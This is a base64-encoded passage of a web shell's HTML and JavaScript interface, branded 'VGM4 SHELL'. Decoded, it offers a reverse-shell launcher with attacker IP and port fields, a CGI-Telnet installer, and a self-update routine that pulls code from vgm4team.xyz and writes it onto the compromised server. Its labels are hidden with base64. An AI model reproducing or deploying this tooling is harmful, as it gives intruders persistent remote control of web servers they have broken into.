vM0FET3RqY1YxMHlJZ3Iwb0EwTWVFQ0dSLy84TldCOEJ6czhzc0tqNmFFQUV2UzllS0d3Q3lkSTFBcWZCRUJJQmJBRjdwR2dFdnk5ZUhHd0N5ZFlwQXVkaFVERUM1UmNaSG5TSlFTbFFBK0RzQitLUjZCTHkvZHNpWnFYZ0RNS1BtWFZXUFFEbVJBZkRlWERheXA0b1JLUG5xYjFiM0JvRGVLa2FncE9nQWNBdkFVVlVpVVBiVjM2ekhEWUFJOUtVZWdmS3pseEVBL2tRQVo2aEh3RlA0MmVod0F6RFQyVUNzb1JpQkZqT1hGWUFWRzlwaVEvQ1NVZ1JXekZyS3pUanpCc0JiQVp5bEZBRlBhV2VoeTF1QURiZUEvcklqMEdyR3NnUEFXd0Zja1JXQk5sZi9UWFlBVmlFQy9VVkhvT1ZNS1FSZzFVYTIzREI4RXhXQlZiT1Uvam1ZUWdETUJCWUNaVldkSFlublZnbkFLdHdDWnBBNFRCVXBCWUMzQXJpalVnUmtubFVwQUdaRUFQZklIS3czcEo1UkxRQXJFWUVacEE2WU9zVUFyTnhBSWpDRGFnVGtua3N4QUdaRUFQZXBIVGExNXpFejNRQ1lFUUhjcDNMb1ZKN2pCK1VBckVZRVpwQTlmQXJVQTdCNjg0akFESmtSa0E2UWVnRE1pQUI4WkJ4RTZjTnZWaU1BWmtRQVBpSVBwUHpoTjZzVEFMT1lDQkFDZUNoeCtNMXFCY0FzLzM4R2dkb2k5cmJNNFRlckY0QW9SS0FmOW5SSHhRQkVGWmFCNlNOcUwwdTkrcHZWRElCWmJBUUlRVjJSKzFmdThKdlZEWUJaN0lJVGdYb2k5NnprNFRlckhRQ3orQWdRQW4zUisxVDI4SnZWRDRCWi9BWVFBVjNSZTFQNjhKdjFDSUJaVGdRSWdZNk0vU2gvK00zNkJNQXNaME1JUWE2czlXOXgrTTE2QmNBc2IyT0lRTHlzTlc5eitNM01mbVUvd0FMYkJrVVB5UGI5V2cySUlBNitvMjQzZ0VlWnR3RnVCUDR5MTdYbDRUZnJIUUN6M0kwakJENnkxN0h0NFRmcitSYmcyWmZsRHREajkyNDlUTTRVNHRsK3Z5WUV3Q3cvQWhzK0ozaFBZWTgySS9ab1NnRE04ajRjM0VNSXZsUFlrODJvUFprVWdJM0tiY0JzOXRzRGxUMTRORzBQUmdiQVRDc0NtK2ZuNlRhTWF1djlyTnQ2SHpJMUFHWmFid24yZExnZHFLN3RvNnByNjJKeUFEYUt0NEZuZTgrbk5yanFhN2hIYlEzREVZQS8xRzhEZTE0OUsvOEg1Yy9HSC93TkFmaXV3bTNnaytyUHZ4cUgvd0VCK0tuaWJRQ2ZjZkIzRUlEWENFRVBIUHczdXY4dWdBY0dxQzcyN2dOdUFNZHdHNmlGZzM4UUFUaUhFR2pqNEo5RUFLNGhCRm80K0JjUmdIc0lRUzRPL2swRXdNZmpJQktEdFRqMGpnaUFQMjRGYTNEd0Z5QUE2M0FydUk5RHZ4Z0JpTUd0NERnT2ZTQUNFT3Q1dUFuQy96ajRDUWhBcnNsdkV6andBZ2lBanU2M0F3NjhJQUtnYSsvQVZJa0NoNzBJQWxETHE0UEZ2NWdEQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBRFF4TC9qRlowMlEzRElSQUFBQUFCSlJVNUVya0pnZ2c9PSIsbi5zdHlsZS5iYWNrZ3JvdW5kU2l6ZT0iY292ZXIiLG4uc3R5bGUub2JqZWN0Rml0PSJjb3ZlciIsdC5hcHBlbmRDaGlsZChuKSx0LmFwcGVuZENoaWxkKEEpLHQuc3R5bGUuZGlzcGxheT0iZmxleCIsdC5zdHlsZS5hbGlnbkl0ZW1zPSJjZW50ZXIiLHQuc3R5bGUuanVzdGlmeUNvbnRlbnQ9ImNlbnRlciJ9ZnVuY3Rpb24gY2hlY2tfZGlzYWJsZSgpe2lmKHNlc3Npb25TdG9yYWdlLmdldEl0ZW0oImRpc2FibGVkIikpcmV0dXJuIGRpc2FibGVkX3NjcmlwdCgpLCEwfWZ1bmN0aW9uIGNoZWNrX3VwZGF0ZTIoKXtpZihzZXNzaW9uU3RvcmFnZS5nZXRJdGVtKCJuZXdfdXBkYXRlIikpcmV0dXJuIHNlc3Npb25TdG9yYWdlLmdldEl0ZW0oInVwZGF0ZV9yZXBsaWVkIil8fG5vdGlmeV91cGRhdGUoKSwhMH1mdW5jdGlvbiBub3RpZnlfdXBkYXRlKCl7ZW1wdHlfcHJvY2Vzc19zY3JlZW4oKTtsZXQgZT1kb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIucHJvY2Vzcy1zY3JlZW4iKSx0PWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImgzIik7dC5pbm5lckhUTUw9IlVwZGF0ZSBhdmFpbGFibGUhIjtsZXQgQT1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCJmb3JtIik7QS5zZXRBdHRyaWJ1dGUoImlkIiwidXBkYXRlcGFnZSIpLEEuc2V0QXR0cmlidXRlKCJvbnN1Ym1pdCIsImV2ZW50LnByZXZlbnREZWZhdWx0KCk7IiksQS5zdHlsZS5kaXNwbGF5PSJmbGV4IixBLnN0eWxlLmZsZXhEaXJlY3Rpb249InJvdyI7bGV0IG49ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgiYnV0dG9uIiksaT1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCJidXR0b24iKTtuLmlubmVySFRNTD0iVVBEQVRFIixuLnNldEF0dHJpYnV0ZSgib25jbGljayIsInByb2Nlc3NfdXBkYXRlKCk7Iiksbi5zZXRBdHRyaWJ1dGUoImlkIiwiYnRuX3VwZGF0ZSIpLGkuaW5uZXJIVE1MPSJDQU5DRUwiLGkuc3R5bGUuYmFja2dyb3VuZD0iI2RmNDc1OSIsaS5zdHlsZS5tYXJnaW5MZWZ0PSIxMHB4IixpLnNldEF0dHJpYnV0ZSgib25jbGljayIsImNhbmNlbF91cGRhdGUoKTsiKTtsZXQgbz1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCJoMiIpO28uc3R5bGUuY29sb3I9InJlZCIsby5pbm5lckhUTUw9IldoYXQncyBuZXc/IjtsZXQgcz1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCJsYWJlbCIpO3MuaW5uZXJIVE1MPXNlc3Npb25TdG9yYWdlLmdldEl0ZW0oIm5ld191cGRhdGUiKTtsZXQgbD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCJhZGRyZXNzIik7bC5pbm5lckhUTUw9JzxhIHN0eWxlPSJjb2xvcjpibHVlO3RleHQtZGVjb3JhdGlvbjp1bmRlcmxpbmUiIGhyZWY9Imh0dHA6Ly92Z200dGVhbS54eXoiIHRhcmdldD0iX2JsYW5rIj5odHRwczovL3ZnbTR0ZWFtLnh5ejwvYT4nLGwuc3R5bGUubWFyZ2luVG9wPSIxMHB4IixBLmFwcGVuZENoaWxkKG4pLEEuYXBwZW5kQ2hpbGQoaSksZS5hcHBlbmRDaGlsZCh0KSxlLmFwcGVuZENoaWxkKG8pLGUuYXBwZW5kQ2hpbGQocyksZS5hcHBlbmRDaGlsZChsKSxlLmFwcGVuZENoaWxkKEEpLGUuc3R5bGUudG9wPSI1MCUiLGUuc3R5bGUub3BhY2l0eT0iMSIsZS5zdHlsZS52aXNpYmlsaXR5PSJ2aXNpYmxlIn1mdW5jdGlvbiBwcm9jZXNzX3VwZGF0ZSgpe2xldCBlPWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJidG5fdXBkYXRlIik7ZS5kaXNhYmxlZD0hMCxlLmlubmVySFRNTD0iVVBEQVRJTkcuLi4iO2xldCB0PW5ldyBYTUxIdHRwUmVxdWVzdDt0Lm9wZW4oImdldCIsImh0dHBzOi8vdmdtNHRlYW0ueHl6L2ZpbGVzL3VwZGF0ZS50eHQiLCEwKSx0Lm9ubG9hZD1mdW5jdGlvbigpe2lmKDQ9PXQucmVhZHlTdGF0ZSl7bGV0IGU9dGhpcy5yZXNwb25zZTstMSE9PWUuaW5kZXhPZigiLm13c2JveCIpP3Byb2Nlc3NfdXBkYXRlMihidG9hKGUpKTpzaG93X3BvcHVwKCJVcGRhdGUgY2FuIG5vdCBwcm9jZXNzZWQhIiwzNTAwLCJhbGVydCIpfX0sdC5zZW5kKCl9ZnVuY3Rpb24gcHJvY2Vzc191cGRhdGUyKGUpe2xldCB0PWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJidG5fdXBkYXRlIiksQT1uZXcgRm9ybURhdGE7QS5hcHBlbmQoInVwZGF0ZV9jb250ZW50IixlKTtsZXQgbj1uZXcgWE1MSHR0cFJlcXVlc3Q7bi5vcGVuKCJwb3N0IixiYXNlbmFtZSgpLCEwKSxuLm9ubG9hZD1mdW5jdGlvbigpe2lmKDQ9PW4ucmVhZHlTdGF0ZSl7dC5kaXNhYmxlZD0hMSx0LmlubmVySFRNTD0iVVBEQVRFIixzZXNzaW9uU3RvcmFnZS5zZXRJdGVtKCJ1cGRhdGVfcmVwbGllZCIsITApLCJvayI9PUpTT04ucGFyc2UodGhpcy5yZXNwb25zZSkuc3RhdHVzPyhzaG93X3BvcHVwKCJWR000IFNIRUxMIGhhcyBiZWVuIHVwZGF0ZWQgc3VjY2Vzc2Z1bGx5ISIsMmUzLCJzdWNjZXNzIiksc2V0VGltZW91dChmdW5jdGlvbigpe3dpbmRvdy5vcGVuKCJodHRwczovL3ZnbTR0ZWFtLnh5eiIsIl9ibGFuayIpLHdpbmRvdy5sb2NhdGlvbi5yZWxvYWQoKX0sMmUzKSk6c2hvd19wb3B1cCgiU29tZSBlcnJvciBvY2N1cmVkLHVwZGF0ZSBjYW4gbm90IHByb2Nlc3NlZCEiLDM1MDAsImFsZXJ0Iil9fSxuLnNlbmQoQSl9ZnVuY3Rpb24gY2FuY2VsX3VwZGF0ZSgpe2VtcHR5X3Byb2Nlc3Nfc2NyZWVuKCk7bGV0IGU9ZG9jdW1lbnQucXVlcnlTZWxlY3RvcigiLnByb2Nlc3Mtc2NyZWVuIik7ZS5zdHlsZS50b3A9Ii01MCUiLGUuc3R5bGUub3BhY2l0eT0iMCIsZS5zdHlsZS52aXNpYmlsaXR5PSJoaWRkZW4iLHNlc3Npb25TdG9yYWdlLnNldEl0ZW0oInVwZGF0ZV9yZXBsaWVkIiwhMCl9ZnVuY3Rpb24gY2dpX3RlbG5ldCgpe2VtcHR5X3Byb2Nlc3Nfc2NyZWVuKCk7bGV0IGU9ZG9jdW1lbnQucXVlcnlTZWxlY3RvcigiLnByb2Nlc3Mtc2NyZWVuIiksdD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCJoMyIpO3QuaW5uZXJIVE1MPSJDR0ktVGVsbmV0IEluc3RhbGxhdGlvbiI7bGV0IEE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic3BhbiIpO0Euc3R5bGUuZGlzcGxheT0iYmxvY2siLEEuc3R5bGUuY29sb3I9IiMyMjIiLEEuc3R5bGUuZm9udFNpemU9IjE0cHgiLEEuc3R5bGUuZm9udFdlaWdodD0iYm9sZCIsQS5pbm5lckhUTUw9Ikluc3RhbGxpbmcgQ0dJLVRlbG5ldC4uLiI7bGV0IG49bmV3IFhNTEh0dHBSZXF1ZXN0O24ub3BlbigiZ2V0IixiYXNlbmFtZSgpKyI/Y2dpdGVsbmV0PXRydWUiLCEwKSxuLm9ubG9hZD1mdW5jdGlvbigpe2lmKDQ9PW4ucmVhZHlTdGF0ZSl7ImZhaWxlZCI9PUpTT04ucGFyc2UodGhpcy5yZXNwb25zZSkuc3RhdHVzPyhzaG93X3BvcHVwKCJDR0ktVGVsbmV0IHNldHVwIGhhcyBmYWlsZWQhIiwzZTMsImFsZXJ0IiksZS5zdHlsZS52aXNpYmlsaXR5PSJoaWRkZW4iLGUuc3R5bGUub3BhY2l0eT0iMCIsZS5zdHlsZS50b3A9Ii01MCUiKTooc2hvd19wb3B1cCgiQ0dJLVRlbG5ldCBoYXMgaW5zdGFsbGVkIHN1Y2Nlc3NmdWxseSEiLDNlMywic3VjY2VzcyIpLEEuaW5uZXJIVE1MPSdDR0ktVGVsbmV0IFBhdGg6IDxhIGhyZWY9ImNnaV93ZWIucGwiIHRhcmdldD0iX2JsYW5rIiBzdHlsZT0iY29sb3I6IzU1NTt0ZXh0LWRlY29yYXRpb246dW5kZXJsaW5lOyI+Y2dpX3dlYi5wbDwvYT48YnI+UGVybWlzc2lvbnMgaGF2ZSBiZWVuIHNldCB1cCB0byA3NTUuLicsbGlzdF9kaXIoIi4iKSl9fSxuLnNlbmQoKSxlLmFwcGVuZENoaWxkKHQpLGUuYXBwZW5kQ2hpbGQoQSksZS5zdHlsZS52aXNpYmlsaXR5PSJ2aXNpYmxlIixlLnN0eWxlLm9wYWNpdHk9IjEiLGUuc3R5bGUudG9wPSI1MCUifWZ1bmN0aW9uIHJldmVyc2Vfc2hlbGwoKXtlbXB0eV9wcm9jZXNzX3NjcmVlbigpO2xldCBlPWRvY3VtZW50LnF1ZXJ5U2VsZWN0b3IoIi5wcm9jZXNzLXNjcmVlbiIpLHQ9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgiaDMiKSxBPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImZvcm0iKTtBLnNldEF0dHJpYnV0ZSgiaWQiLCJyZXZzaGVsbCIpLEEuc2V0QXR0cmlidXRlKCJvbnN1Ym1pdCIsImV2ZW50LnByZXZlbnREZWZhdWx0KCk7Iik7bGV0IG49ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgiaW5wdXQiKTtuLm5hbWU9InJldl9pcCIsbi5zdHlsZS5kaXNwbGF5PSJub25lIixuLnR5cGU9InRleHQiO2xldCBpPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImlucHV0Iik7aS5wbGFjZWhvbGRlcj0iNDQ0NCIsaS5zdHlsZS5kaXNwbGF5PSJub25lIixpLnR5cGU9InRleHQiLGkubmFtZT0icmV2X3BvcnQiO2xldCBvPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImxhYmVsIik7by5pbm5lckhUTUw9IllvdXIgSVAgQWRkcmVzcyIsby5zdHlsZS5kaXNwbGF5PSJub25lIjtsZXQgcz1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCJsYWJlbCIpO3MuaW5uZXJIVE1MPSJQb3J0IixzLnN0eWxlLmRpc3BsYXk9Im5vbmUiO2xldCBsPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImxhYmVsIik7bC5pbm5lckhUTUw9Ik1ldGhvZCIsbC5zdHlsZS5kaXNwbGF5PSJub25lIjtsZXQgYT1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCJsYWJlbCIpO2EuaW5uZXJIVE1MPSJMb2FkaW5nLi4uIixhLnN0eWxlLmRpc3BsYXk9ImJsb2NrIjtsZXQgcj1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCJzZWxlY3QiKTtyLm5hbWU9Im1ldGhvZCIsci5zdHlsZS5kaXNwbGF5PSJub25lIjtsZXQgYz1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCJvcHRpb24iKTtjLnZhbHVlPSJwZXJsIixjLmlubmVySFRNTD0iUEVSTCI7bGV0IGQ9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgib3B0aW9uIik7ZC52YWx1ZT0iYyIsZC5pbm5lckhUTUw9IkMiLHIuYXBwZW5kQ2hpbGQoYyksci5hcHBlbmRDaGlsZChkKTtsZXQgcD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCJidXR0b24iKTtwLmlubmVySFRNTD0iQ09OTkVDVCIscC5zdHlsZS5kaXNwbGF5PSJub25lIixwLnNldEF0dHJpYnV0ZSgib25jbGljayIsInByb2Nlc3NfcmV2ZXJzZV9zaGVsbCgpOyIpLEEuYXBwZW5kQ2hpbGQobyksQS5hcHBlbmRDaGlsZChuKSxBLmFwcGVuZENoaWxkKHMpLEEuYXBwZW5kQ2hpbGQoaSksQS5hcHBlbmRDaGlsZChsKSxBLmFwcGVuZENoaWxkKHIpLEEuYXBwZW5kQ2hpbGQocCk7bGV0IGc9bmV3IEZvcm1EYXRhO2cuYXBwZW5kKCJnZXRpcCIsITApO2xldCB1PW5ldyBYTUxIdHRwUmVxdWVzdDt1Lm9wZW4oInBvc3QiLGJhc2VuYW1lKCksITApLHUub25sb2FkPWZ1bmN0aW9uKCl7aWYoND09dS5yZWFkeVN0YXRlKXtsZXQgdD1KU09OLnBhcnNlKHRoaXMucmVzcG9uc2UpOyJmYWlsZWQiIT09dC5zdGF0dXM/KGEuc3R5bGUuZGlzcGxheT0ibm9uZSIsby5zdHlsZS5kaXNwbGF5PSJibG9jayIsbi5zdHlsZS5kaXNwbGF5PSJibG9jayIsbi52YWx1ZT10LnN0YXR1cyxzLnN0eWxlLmRpc3BsYXk9ImJsb2NrIixpLnN0eWxlLmRpc3BsYXk9ImJsb2NrIixsLnN0eWxlLmRpc3BsYXk9ImJsb2NrIixyLnN0eWxlLmRpc3BsYXk9ImJsb2NrIixwLnN0eWxlLmRpc3BsYXk9ImJsb2NrIik6KHNob3dfcG9wdXAoIlNvbWV0aGluZyB3ZW50IHdyb25nISIsM2UzLCJhbGVydCIpLGUuc3R5bGUudmlzaWJpbGl0eT0iaGlkZGVuIixlLnN0eWxlLm9wYWNpdHk9IjAiLGUuc3R5bGUudG9wPSItNTAlIil9fSx1LnNlbmQoZyksdC5pbm5lckhUTUw9IlJldmVyc2UgU2hlbGwiLGUuYXBwZW5kQ2hpbGQodCksZS5hcHBlbmRDaGlsZChBKSxlLmFwcGVuZENoaWxkKGEpLGUuc3R5bGUudmlzaWJpbGl0eT0idmlzaWJsZSIsZS5zdHlsZS5vcGFjaXR5PSIxIixlLnN0eWxlLnRvcD0iNTAlIn1mdW5jdGlvbiBwcm9jZXNzX3JldmVyc2Vfc2hlbGwoKXtsZXQgZT1kb2N1bWVudC5nZXRFbGVtZW50QnlJZCgicmV2c2hlbGwiKSx0PW5ldyBGb3JtRGF0YShlKSxBPWUucXVlcnlTZWxlY3RvcigiYnV0dG9uIiksbj1lLnF1ZXJ5U2VsZWN0b3IoImlucHV0W25hbWU9cmV2X2lwXSIpLGk9ZS5xdWVyeVNlbGVjdG9yKCJpbnB1dFtuYW1lPXJldl9wb3J0XSIpO2lmKCIiPT1uLnZhbHVlfHwiIj09aS52YWx1ZSlzaG93X3BvcHVwKCJFbXB0eSBmaWVsZCEiLDNlMywiYWxlcnQiKTtlbHNlIGlmKGlzTmFOKGkudmFsdWUpKXNob3dfcG9wdXAoIlBvcnQgbXVzdCBiZSBudW1lcmljISIsM2UzLCJhbGVydCIpO2Vsc2V7QS5kaXNhYmxlZD0hMCxBLmlubmVySFRNTD0iQ09OTkVDVElORy4uLiI7bGV0IGU9bmV3IFhNTEh0dHBSZXF1ZXN0O2Uub3BlbigicG9zdCIsYmFzZW5hbWUoKSwhMCksZS5vbmxvYWQ9ZnVuY3Rpb24oKXtpZig0PT1lLnJlYWR5U3RhdGUpeyJvayI9PUpTT04ucGFyc2UodGhpcy5yZXNwb25zZSkuc3RhdHVzP3Nob3dfcG9wdXAoIkNoZWNrIHlvdXIgbGlzdGVuZXIhIiwzZTMsInN1Y2Nlc3MiKTpzaG93X3BvcHVwKCJSZXZlcnNlIHNoZWxsIGNhbiBub3QgYmUgY3JlYXRlZCEiLDM1MDAsImFsZXJ0IiksQS5kaXNhYmxlZD0hMSxBLmlubmVySFRNTD0iQ09OTkVDVCJ9fSxlLnNlbmQodCl9fXdpbmRvdy5hZGRFdmVudExpc3RlbmVyKCJET01Db250ZW50TG9hZGVkIixmdW5jdGlvbigpe2lmKGNoZWNrX2Rpc2FibGUoKSlyZXR1cm47Y2hlY2tfdXBkYXRlKCksY2hlY2tfdXBkYXRlMigpLGRvY3VtZW50LnRpdGxlPWF0b2IoIlZrZE5OQ0JUU0VWTVRBPT0iKSsiIHYiK3JlbGVhc2UsZG9jdW1lbnQucXVlcnlTZWxlY3RvcigiLm13c2JveCAudGl0bGUgaDMiKS5pbm5lckhUTUw9YXRvYigiVmtkTk5DQlRTRVZNVEE9PSIpKyIgdiIrcmVsZWFzZTtsZXQgZT1kb2N1bWVudC5xdWVyeVNlbGVjdG9yQWxsKCIubXdzYm94IC50aXRsZSB1bCBsaSBzcGFuIik7ZVswXS5pbm5lckhUTUw9YXRvYigiVjJWaUlITmxjblpsY2lCemIyWjBkMkZ5WlRvPSIpLGVbMV0uaW5uZXJIVE1MPWF0b2IoIlMyVnlibVZzT2c9PSIpLGVbMl0uaW5uZXJIVE1MPWF0b2IoIlVuVnVibWx1WnlCaGN6bz0iKSxlWzNdLmlubmVySFRNTD1hdG9iKCJWRzkwWVd3Z2RYTmxjbk02IiksZVs0XS5pbm5lckhUTUw9YXRvYigiVkc5MFlXd2daM0p2ZFhCek9nPT0iKSxlWzVdLmlubmVySFRNTD1hdG9iKCJjMkZtWlY5dGIyUmxPZz09IiksZVs2XS5pbm5lckhUTUw9YXRvYigiYjNCbGJsOWlZWE5sWkdseU9nPT0iKSxlWzddLmlubmVySFRNTD1hdG9iKCJSR2x6WVdKc1pXUWdablZ1WTNScGIyNXpPZz09IiksZVs4XS5pbm5lckhUTUw9YXRvYigiZFhCc2IyRmtYMjFoZUY5bWFXeGxjMmw2WlRvPSIpLGVbOV0uaW5uZXJIVE1MPWF0b2IoIlRHOWhaR1ZrSUdWNGRHVnVjMmx2Ym5NNiIpLGVbMTBdLmlubmVySFRNTD1hdG9iKCJVMlZ5ZG1WeUlFbHVabTl5YldGMGFXOXVPZz09IiksZVsxMV0uaW5uZXJIVE1MPWF0b2IoIlEzVnljbVZ1ZENCRWFYSmxZM1J2Y25rNiIpLGVbMTJdLmlubmVySFRNTD1hdG9iKCJRMmhoYm1kbElFUnBjbVZqZEc5eWVUbz0iKSxlWzEzXS5pbm5lckhUTUw9YXRvYigiVW1WaFpDQkdhV3hsT2c9PSIpLGxpc3RfZGlyKCksZG9jdW1lbnQuYWRkRXZlbnRMaXN0ZW5lcigiY2xpY2siLGZ1bmN0aW9uKGUpe2xldCB0PWRvY3VtZW50LnF1ZXJ5U2VsZWN0b3JBbGwoIi50b2dnbGUgZm9udCIpLEE9ZG9jdW1lbnQucXVlcnlTZWxlY3RvckFsbCgiLnRvZ2dsZSIpLG49ZG9jdW1lbnQucXVlcnlTZWxlY3RvckFsbCgiLnRvZ2dsZSBzcGFuIiksaT1kb2N1bWVudC5xdWVyeVNlbGVjdG9yQWxsKCJpIik7InNjcmVlbiIhPT1lLnRhcmdldC5pZCYmLTE9PVtdLnNsaWNlLmNhbGwodCkuaW5kZXhPZihlLnRhcmdldCkmJi0xPT1bXS5zbGljZS5jYWxsKEEpLmluZGV4T2YoZS50YXJnZXQpJiYtMT09W10uc2xpY2UuY2FsbChuKS5pbmRleE9mKGUudGFyZ2V0KSYmLTE9PVtdLnNsaWNlLmNhbGwoaSkuaW5kZXhPZihlLnRhcmdldCkmJmUudGFyZ2V0Lm9mZnNldFBhcmVudCYmInNjcmVlbiIhPT1lLnRhcmdldC5vZmZzZXRQYXJlbnQuaWQmJihkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgic2NyZWVuIikuc3R5bGUudmlzaWJpbGl0eT0iaGlkZGVuIixkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgic2NyZWVuIikuc3R5bGUub3BhY2l0eT0iMCIsZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInNjcmVlbiIpLnN0eWxlLnRvcD0iLTUwJSIsc2V0VGltZW91dChmdW5jdGlvbigpe2VtcHR5X3Byb2Nlc3Nfc2NyZWVuKCl9LDI1MCkpfSksZG9jdW1lbnQub25rZXl1cD1mdW5jdGlvbihlKXsyNz09ZS5rZXlDb2RlJiYidmlzaWJsZSI9PWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJzY3JlZW4iKS5zdHlsZS52aXNpYmlsaXR5JiYoZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInNjcmVlbiIpLnN0eWxlLnZpc2liaWxpdHk9ImhpZGRlbiIsZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInNjcmVlbiIpLnN0eWxlLm9wYWNpdHk9IjAiLGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJzY3JlZW4iKS5zdHlsZS50b3A9Ii01MCUiKX0sd29ya2luZ19kaXI9ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImN1cnJfZGlyIikudmFsdWUsc2Vzc2lvblN0b3JhZ2UuZ2V0SXRlbSgid29yayIpfHxzZXRXb3JrKCl9KTsNCiAgICA8L3NjcmlwdD4NCiAgICA8bGluayByZWw9Imljb24iIGhyZWY9Imh0dHA6Ly92Z200dGVhbS54eXovaW1hZ2VzL2Zhdmljby5pY28iPg0KPC9oZWFkPg0KPGJvZHk+DQo8ZGl2IGNsYXNzPSJob2xkZXIiPg0KIA0KICAgIDxkaXYgY2xhc3M9Im13c2JveCI+DQoNCiAgICAgICAgPGRpdiBjbGFzcz0iYm90dG9tLW1lbnUiPg0KICAgICAgICAgICAgPHVsPg0KICAgICAgICAgICAgICAgIDxsaSBjbGFzcz0idG9nZ2xlIiBvbmNsaWNrPSJyZXZlcnNlX3NoZWxsKCk7Ij48aW1nIHN0eWxlPSJ3aWR0aDoxNnB4O2hlaWdodDoxNnB4OyIgc3JjPSJkYXRhOmltYWdlL3BuZztiYXNlNjQsaVZCT1J3MEtHZ29BQUFBTlNVaEVVZ0FBQUVBQUFBQkFDQVlBQUFDcWFYSGVBQUFBQVhOU1IwSUFyczRjNlFBQUZYZEpSRUZVZUY3VlcybHNYTmQxL3Q3KzNyelpoNXNvVVpadFJSdEpXU0lsMmZLU3BVa2hKM0ZVTjNhY0prNlJ4VTJMd0RicUZIQ2FOa0ZydEdqUTFqOGFCQTRLMUVYanJIYXRwa1ZkSkU1Z05GR0MxbElra2RST1c1SnBVUXNwYnJQUDI1ZmkzTWVoaGhRbFVTUzk5RW9QdzVsNXl6M2YvYzY1M3ozM0RJZDNTZHU4ZWJNZUJNRnFSVkZHK3ZyNlNtOVh0N2kzNjBIelBJZmJ1SEhqUGJJc1B4R0c0VjBjeHltaUtMcSs3OHVDSUF6NXZ2L053NGNQZnc5QStGYjI4WjBBUU9qcTZ2cERBRitUSkVsTHA5TVpUZE80TUF3UkJBR3oxWFZkMUdxMXF1dTYvUnpIN1g0ckdmRldBY0IzZDNldjh6eFBkRjMzOUpreloyd3liTU9HRFR0RlVmeUJwbW5OMld3MndYRWNITWVCNTNrZ0FCcWJLSW9FaUZjdWw5OVVWZlcyZmZ2Mm1XOEZFNVlkZ003T3pyVUFmaVVJUWtJUUJOdHhISVhqdUlzQVR2TTgvOTZXbHBhVUlBak1jTi8zbVUxemphOGJxbWthVE5PMHF0WHF2dzhNRER6OC93S0FycTZ1WDZaU3FmY3Bpc0tSb1hTUW9iWnRROWQxOWxvM3ZOSDQrVUNnYStQeE9FWkhSd3VlNTMzd3lKRWpBOHNOd25JemdPL3E2c3JuY3JsVTNaL3BsUXhmc2FJTm9palJpR0ppWW9JeG9ONGFqWjhMUkNxVmdtRVlZVDZmMzNQNDhPRlB2cXNCNk96czNDUkowb0YwT3EzWERaRWtDZGxzRnNsa2t2V2RScDk4dnc0RUJieTVidEFJQWwxSDcwZEhSeThNREF4MHZLc0JXTDkrL1dlU3llU3p1cTZyMUZHaWNDd1dReTZiWlVhd2Y5T3hqb0tjSklrd1RRdGpZMk1zOGhOYjZpNUQ1eE40cTFhdFl0OE5EZzVXVTZsVVp1L2V2ZDV5Z3JDc0xyQng0OFluMCtuMDMycWF4bE1uS1lpUkVacW1RaEJFOER3M0EwQVFCaERaWnp4S3BSSmNsNEppd000bnh0QXJIZVFxazVPVHVIanhZc1h6dkEvMDkvZjN2V3NCNk96cy9JZE1Kdk9FcXFxUVpSblJLRWVHME1oeUhPRVNVWUF4SWd5WlM1RHhybnQ1S3F4Zlc5Y0V4SUJLcFJKV3E5V24rdnI2L3FxM3QzZDFHSVlmRG9MZ3QzaWUxd1ZCK05MQmd3ZlBMd2FZWldYQTVzMmJYOGhrTXAra29FY2p5d3NDRzJWUkVoa0FQQmM5amx3aCtoL0M5d2dBZDE0dFVEZkk4MTFVeWdVWWhsc01vd0NoTzQ0ajJyYk4wOXQwT2wzZ09HNVZYMStmY2FNZ0xEY0F2MmhwYWZrQU1ZQ2pmenpIcUMvTEVRUG1SbjJtL21pS2RCem0vN05uZ0JDbVVZTmhWaUhJSW56WGdlY0NobUV6d09yc1NTUVNkRzhMd1AzOS9mMC9mNmNCR0docmE5dENGS1pHTENEREpRS0Fqd0NvRzFsL0pSVkkyb0JhRVBpd0xBT21VVVdsWElMdnV3ekFWRk1PTkZKT3pZRHRDVE1Ba1BIa1pyVmF6UW5EOE5OSGp4Nzk4VHNOd0JzclY2NjhwVDdhTk4wUkNPUUM1QXAxSS8wZ1JFaTZueWMyaDNBZEcwYTFqRXFsQk1lS2hKSS96UWllNDVHa29LaklzR3RWOEx5R0lPUllYS2xQcTVabGViN3Z0eHc3ZHF6d1RnTXcxdEhSMFVLR056WmU0S0JvS3JTRURsVlRvY1kweUtvQ2ptYUFxU2tVSnNaUm1KeEF0VmlDWlZsd1haK3hJYVMxRVJkQzArT0lwMUx3SFFleUZJTWZYQTZpdFZyTk13emoxNmRPbmZyZ2pScFA1eTlyRExodDgyWXptNG1wWVJqNXN5QUtpS2RUU09lYWtXbHVocXJyVi9UUnFGUXdOVGFHNHNRNGlsTlRUQmU0bm92QUR4QUVJUXVjZEYwcTNRU0UvTXpzUVhIQU5FMnZWcXVOVnF2VkRTTWpJemNjQU44S0FOeUV6a1